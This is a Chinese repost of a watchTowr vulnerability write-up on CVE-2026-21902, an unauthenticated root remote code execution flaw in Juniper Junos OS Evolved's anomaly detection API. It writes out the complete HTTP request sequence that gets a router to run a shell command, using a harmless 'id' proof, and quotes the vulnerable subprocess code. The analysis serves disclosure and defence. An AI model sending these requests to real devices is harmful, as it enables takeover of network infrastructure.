有时候,你真的能从设计中”嗅”出安全问题(JuniperJunosEvolvedCVE-2026-21902无认证RCE分析)

admin 2026-03-18 02:05:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章深入分析JuniperJunosOSEvolved的CVE-2026-21902漏洞。该漏洞因设备异常检测框架错误监听在0.0.0.0:8160端口且以root权限运行导致。攻击者可构造恶意RESTAPI请求,利用RE-SHELL类型命令通过subprocess.run函数执行任意指令,实现无认证远程代码执行。该缺陷默认启用,危害极高,建议相关用户立即检查端口暴露情况并升级系统版本以修复风险。 综合评分: 94 文章分类: 漏洞分析,渗透测试,漏洞POC,网络安全


cover_image

有时候,你真的能从设计中”嗅”出安全问题(Juniper Junos Evolved CVE-2026-21902 无认证RCE分析)

watchtowr watchtowr

赛博知识驿站

2026年3月4日 11:31 中国香港

Sometimes, You Can Just Feel The Security In The Design (Juniper Junos Evolved CVE-2026-21902 Pre-Auth RCE)

在今天这期”好消息伪装成其他东西”栏目中,我们将目光投向了CVE-2026-21902——一个最近披露的”关键资源权限分配错误”漏洞,影响Juniper的Junos OS Evolved平台。据称,这个漏洞仅影响Juniper的PTX系列设备。

为什么?谁~~在乎~~知道呢。

在这篇文章中,我们将深入探讨~~我们见过的最深奥、最复杂的漏洞~~”远程代码执行即服务”(很快将被GenAI颠覆)。

在你继续阅读之前,今天的博文让我们重温了在学校的时光(虽然短暂)——把”你最喜欢什么颜色”扩展成3000字的论文。

但在此之前…

什么是Juniper的PTX系列和Junos OS Evolved?

Juniper的PTX系列是一个高性能数据包传输路由器家族,专为核心网络、对等互联和大规模数据中心互连部署而设计。PTX平台构建于处理海量吞吐量、低延迟和高端口密度的能力之上,常见于服务提供商骨干网、互联网交换环境以及可靠性和规模至关重要的超大规模基础设施中。

传统上由Junos OS驱动,Juniper最近推出了Junos OS Evolved——这是其操作系统的重新架构版本,旨在使平台的内部结构现代化。与基于FreeBSD基础构建的经典Junos不同,Junos OS Evolved基于Linux架构,并采用了更模块化、容器化的设计。

什么是CVE-2026-21902?

一如既往,我们通过阅读Juniper发布的安全公告[1]开启了我们的旅程。

PTX系列上运行的Juniper Networks Junos OS Evolved的”设备异常检测框架”中存在关键资源权限分配错误漏洞,允许未经身份验证的、基于网络的攻击者以root权限执行代码。

“设备异常检测框架”应该只能通过内部路由实例被其他内部进程访问,而不应该通过外部暴露的端口访问。由于能够访问和操纵该服务以root权限执行代码,远程攻击者可以完全控制设备。请注意,此服务默认启用,无需特定配置。

根据Juniper的说法,这个在0-10酷炫度量表上得分9.8的漏洞影响PTX系列路由器上的Junos OS Evolved:

  • • Junos OS Evolved 25.4版本在25.4R1-S1-EVO、25.4R2-EVO之前的版本存在漏洞
  • • Junos OS Evolved 25.4R1-EVO之前的版本不受影响

我们已经有足够的线索让这成为一次有趣的探索之旅:

  • • 无需身份验证
  • • “应该”这个词通常相当令人兴奋,以及
  • • 无需身份验证(值得说两遍)

应该、可能、会?

作为值得信赖的有感知生命体,我们想要验证被告知的现实——一个应该只监听内部路由接口的网络服务。

然而我们承认,我们的环境可能是”异常的”,所以我们在这里给Juniper一些怀疑的余地。

无论如何,当我们执行ss命令时,我们看到以下内容(看我们,格式化!):

| 协议 | 绑定IP | 端口 | 应用程序 | 描述 | | — | — | — | — | — | | TCP | 0.0.0.0 | 22 | SSH | xinetd | | TCP | 0.0.0.0 | 53 | DNS | dnsmasq | | TCP | 0.0.0.0 | 830 | NETCONF over SSH | xinetd | | TCP | 0.0.0.0 | 8160 | 设备异常检测框架 | /usr/sbin/monitor/api_server.py | | TCP | [::] | 22 | SSH | xinetd | | TCP | [::] | 53 | DNS | dnsmasq | | TCP | [::] | 830 | NETCONF over SSH | xinetd | | UDP | * | 53 | DNS | dnsmasq | | UDP | * | 123 | NTP | ntpd | | UDP | * | 161 | SNMP | snmpd | | UDP | * | 514 | Syslog | eventd | | UDP | 0.0.0.0 | 6123 | Junos NTP | jsntpd | | UDP | 0.0.0.0 | 8503 | 路由协议守护进程 | rpd |

正如我们所看到的,我们的”设备异常检测框架”正在监听8160/TCP端口,并且据称绑定到0.0.0.0

为我们的怀疑火上浇油的是这段代码——它可能真的监听在0.0.0.0上:

port = CONFIG.get('api_server_port', 8160)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Serving HTTP on port {port}...')
httpd.serve_forever()

但同样,也许只是我们的部署环境问题。

设备异常检测框架

正如我们所看到的,”设备异常检测框架”是一个监听在8160/TCP端口的REST API,用Python构建,当然,以root权限运行(这样它才能看到所有异常)。该服务允许你定义、调度和运行复杂的监控和诊断例程,并对检测到的异常做出反应。

这据称是Juniper使用的内部服务,允许自动检测和诊断问题,如硬件故障、流量异常、协议错误等,无需外部监控系统。

随着时间的推移,目标似乎是通过上述REST API实现新的检测逻辑,这样你——这位决定购买PTX系列设备而不是豪华汽车的幸运买家——就可以”轻松”应对新威胁或运营需求。

从字面上看,几乎没有什么障碍。

本质上,据我们所知,似乎有四个关键概念:

  • • Command(命令) – 要在设备上执行的命令。(是的,实际的shell命令)
  • • Handler(处理器) – 处理命令的输出数据。
  • • DAG(有向无环图) – 操作的工作流(命令、处理器或子DAG)。
  • • DAG Instance(DAG实例) – DAG的特定、计划执行。

自带你的异常

虽然我们很想告诉你我们如何连续工作3个月,通过眼睛里的静脉注射红牛,但根据上述内容你可能已经猜到,该服务提供了RCE,我们只需要…利用它。

要做到这一点,我们只是…审查了代码…幸运的是,所有这些都可以在文件系统的/usr/sbin/monitor/中找到。

相关部分是:

  • • python3.10 /usr/sbin/monitor/anomaly_detector_main.py – 初始Python脚本,确保子Python脚本保持运行。
  • • python3.10 /usr/sbin/monitor/api_server.py – HTTP API服务器,将请求数据存储在服务器上的文件中。
  • • python3.10 /usr/sbin/monitor/intent_monitor.py – 定期检查定义的更新并更新API服务器定义。
  • • python3.10 /usr/sbin/monitor/schedule_enforcer.py – 定期执行计划的DAG实例。

异常API

鉴于我们的博客文章有100字的最低要求,我们添加了额外的细节来填充——请耐心等待。

在代码中,我们看到了一个相当”合乎逻辑”且符合预期的API实现——主要由与DAG相关的典型CRUD端点和其他此类令人兴奋的内容组成:

| 方法 | 路径 | 描述 | | — | — | — | | GET | /anomaly | 检索所有已注册的异常。 | | GET | /config/schedule/ | 获取要在组件上执行的新DAG实例。 | | GET / POST / PUT / DELETE | /config/dag/ | 检索、创建、更新或删除DAG配置。 | | GET / POST / PUT / DELETE | /config/command/ | 检索、创建、更新或删除命令配置。 | | GET / POST / PUT / DELETE | /config/handler/ | 检索、创建、更新或删除处理器配置。 | | GET / POST / PUT / DELETE | /config/dag-instance/ | 检索、创建、更新或删除DAG实例配置。 | | GET / POST | /config/commit | 验证工作区配置和现有配置的并集。如果POST时有效则保存工作区配置。 | | GET / POST | /output/dag-instance//iteration//component/re | 检索或存储RE上特定迭代的DAG实例运行输出。 | | GET / POST / DELETE | /alarm/dag-instance//component/re | 获取、存储或删除RE上DAG实例运行引发的警报。 | | POST | /anomaly/dag-instance//iteration//component/re | 注册RE上DAG实例运行引发的异常。 |

你也看到了吗?

下达命令,执行命令

缓冲缓冲缓冲,达到字数要求。让我们演示如何使用RCE API来实现RCE。

首先,我们需要创建一个要执行的命令。在这种情况下,我们执行id > /var/home/admin/watchTowr.txt

类型RE-SHELL指示服务这是一个正则表达式,然后直接作为shell命令执行。

POST&nbsp;/config/command/<command-name>&nbsp;HTTP/1.1
Host:&nbsp;<hostname>
Content-Type:&nbsp;application/json
Content-Length:&nbsp;<length>

{
&nbsp; &nbsp; "syntax":&nbsp;"id > /var/home/admin/watchTowr.txt",
&nbsp; &nbsp; "type":&nbsp;"RE-SHELL",
&nbsp; &nbsp; "parsing":&nbsp;{
&nbsp; &nbsp; },
&nbsp; &nbsp; "outputs":&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; "result":&nbsp;{"type":&nbsp;"str"}
&nbsp; &nbsp; },
&nbsp; &nbsp; "doc":&nbsp;""
}

接下来,我们需要创建一个DAG来指示服务执行命令的顺序。

在这个实例中,我们有最基本版本的DAG,它只是引用我们之前的命令作为唯一要执行的命令,没有输入也没有处理器(输出解析)。

POST&nbsp;/config/dag/<dag-name>&nbsp;HTTP/1.1
Host:&nbsp;<hostname>
Content-Type:&nbsp;application/json
Content-Length:&nbsp;<length>

{
&nbsp; &nbsp; "start": [<action_name>],
&nbsp; &nbsp; "edges": [],
&nbsp; &nbsp; "actions": {
&nbsp; &nbsp; &nbsp; &nbsp; <action_name>: {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "command":&nbsp;<command_name>,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "inputs": {}
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; },
&nbsp; &nbsp; "doc":&nbsp;""
}

之后,我们可以创建一个DAG实例,告诉服务何时应该执行DAG。

在我们的案例中,我们没有耐心,并且相信调度只有在你想避免某事时才有用——今天不是。

POST&nbsp;/config/dag-instance/<dag-instance-name>&nbsp;HTTP/1.1
Host:&nbsp;<hostname>
Content-Type:&nbsp;application/json
Content-Length:&nbsp;<length>

{
&nbsp; &nbsp; "dag":&nbsp;<dag_name>,
&nbsp; &nbsp; "enabled": True,
&nbsp; &nbsp; "platform":&nbsp;<platform>,
&nbsp; &nbsp; "target": {
&nbsp; &nbsp; &nbsp; &nbsp; "type":&nbsp;"RE"
&nbsp; &nbsp; },
&nbsp; &nbsp; "schedule": {
&nbsp; &nbsp; &nbsp; &nbsp; "start":&nbsp;<now>,
&nbsp; &nbsp; &nbsp; &nbsp; "delay": 0
&nbsp; &nbsp; },
&nbsp; &nbsp; "context": {}
}

最后,我们发送一个提交请求,将所有先前的数据存储在文件中,以便schedule_enforcer可以处理它并执行我们的命令:

POST&nbsp;/config/config/commit&nbsp;HTTP/1.1
Host:&nbsp;<hostname>
Content-Type:&nbsp;application/json
Content-Length:&nbsp;0

一旦数据存储在调度器的文件中,就会执行以下schedule_enforcer代码,分解如下:

  1. 1. main函数[1]检索由我们的DAG实例定义的调度。
  2. 2. 一旦时间检查通过,main[1]调用execute_dag_instance[2]。
  3. 3. execute_dag_instance[2]调用execute_dag[3]。
  4. 4. execute_dag[3]调用run_bfs_on_dag_actions[4]。
  5. 5. run_bfs_on_dag_actions[4]调用execute_command[5]。
  6. 6. execute_command[5]检索在我们的命令中定义的syntax字段[6]。
  7. 7. syntax值[6]直接传递给subprocess.run(command, ...)[7]。
  8. 8. 这导致攻击者控制的syntax输入字符串的代码执行。
def&nbsp;main():&nbsp;# [1]
&nbsp; &nbsp; ...
&nbsp; &nbsp; schedule = api_client.get_config_schedule(component_name=f'{COMPONENT}{FPC_SLOT}')
&nbsp; &nbsp; ...
&nbsp; &nbsp; thread = threading.Thread(target=execute_dag_instance, args=(...))&nbsp;# [2]
&nbsp; &nbsp; ...

def&nbsp;execute_dag_instance(api_client, ...):&nbsp;# [2]
&nbsp; &nbsp; ...
&nbsp; &nbsp; dag_executor = Executor(...)
&nbsp; &nbsp; dag_executor.execute_dag()&nbsp;# [3]
&nbsp; &nbsp; ...

class&nbsp;Executor:
&nbsp; &nbsp; def&nbsp;execute_dag(self):&nbsp;# [3]
&nbsp; &nbsp; &nbsp; &nbsp; self.run_bfs_on_dag_actions(...)&nbsp;# [4]

&nbsp; &nbsp; def&nbsp;run_bfs_on_dag_actions(self, ...):&nbsp;# [4]
&nbsp; &nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;'command'&nbsp;in&nbsp;dag_def['actions'][current_node]:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; action_outputs =&nbsp;self.execute_command(command_id=current_node, ...)&nbsp;# [5]
&nbsp; &nbsp; &nbsp; &nbsp; ...

&nbsp; &nbsp; #
&nbsp; &nbsp; # 命令执行函数
&nbsp; &nbsp; #
&nbsp; &nbsp; def&nbsp;execute_command(self, command_id, ...):&nbsp;# [5]
&nbsp; &nbsp; &nbsp; &nbsp; command_name = dag_def['actions'][command_id]['command']
&nbsp; &nbsp; &nbsp; &nbsp; ...

&nbsp; &nbsp; &nbsp; &nbsp; #
&nbsp; &nbsp; &nbsp; &nbsp; # 通过替换输入来构建命令
&nbsp; &nbsp; &nbsp; &nbsp; #
&nbsp; &nbsp; &nbsp; &nbsp; syntax = command_def['syntax']&nbsp;# [6]

&nbsp; &nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;self.target['type'] ==&nbsp;'RE':
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 如果DAG实例在RE上执行,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 并且如果命令类型是RE CLI命令,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 我们需要在RE上运行命令
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;command_def['type'] ==&nbsp;'RE':
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; component_command_mapping['re'] =&nbsp;f'cli -c "{syntax}"'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; elif&nbsp;command_def['type'] ==&nbsp;'RE-SHELL':
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; component_command_mapping['re'] = syntax

&nbsp; &nbsp; &nbsp; &nbsp; raw_output_mapping =&nbsp;dict()
&nbsp; &nbsp; &nbsp; &nbsp; for&nbsp;component_name, command&nbsp;in&nbsp;component_command_mapping.items():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; completed_subprocess = subprocess.run(&nbsp;# [7]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; command,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shell=True,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; check=True,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stderr=subprocess.PIPE,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stdout=subprocess.PIPE
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;completed_subprocess.returncode !=&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raw_output = completed_subprocess.stderr.decode('utf-8')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raw_output = completed_subprocess.stdout.decode('utf-8')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raw_output_mapping[component_name] = raw_output
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except&nbsp;subprocess.CalledProcessError&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; logging.error(f'Error executing command - ...')

结果,我们的命令在远程路由器上执行。

为了说明目的,这里是实现远程代码执行所需的HTTP流程的简化视觉概览。

演示视频

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

赛博知识驿站已关注

分享视频

,时长00:25

0/0

00:00/00:25

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:25

00:25

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

有时候,你真的能从设计中”嗅”出安全问题(Juniper Junos Evolved CVE-2026-21902 无认证RCE分析)

观看更多

转载

,

有时候,你真的能从设计中”嗅”出安全问题(Juniper Junos Evolved CVE-2026-21902 无认证RCE分析)

赛博知识驿站已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

原文:https://labs.watchtowr.com/sometimes-you-can-just-feel-the-security-in-the-design-junos-os-evolved-cve-2026-21902-rce/

检测工具:https://github.com/watchtowrlabs/watchTowr-vs-JunosEvolved-CVE-2026-21902

引用链接

[1] 安全公告: https://supportportal.juniper.net/s/article/2026-02-Out-of-Cycle-Security-Bulletin-Junos-OS-Evolved-PTX-Series-A-vulnerability-allows-a-unauthenticated-network-based-attacker-to-execute-code-as-root-CVE-2026-21902?ref=labs.watchtowr.com


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博知识驿站 watchtowr watchtowr《有时候,你真的能从设计中”嗅”出安全问题(Juniper Junos Evolved CVE-2026-21902 无认证RCE分析)》

评论:0   参与:  0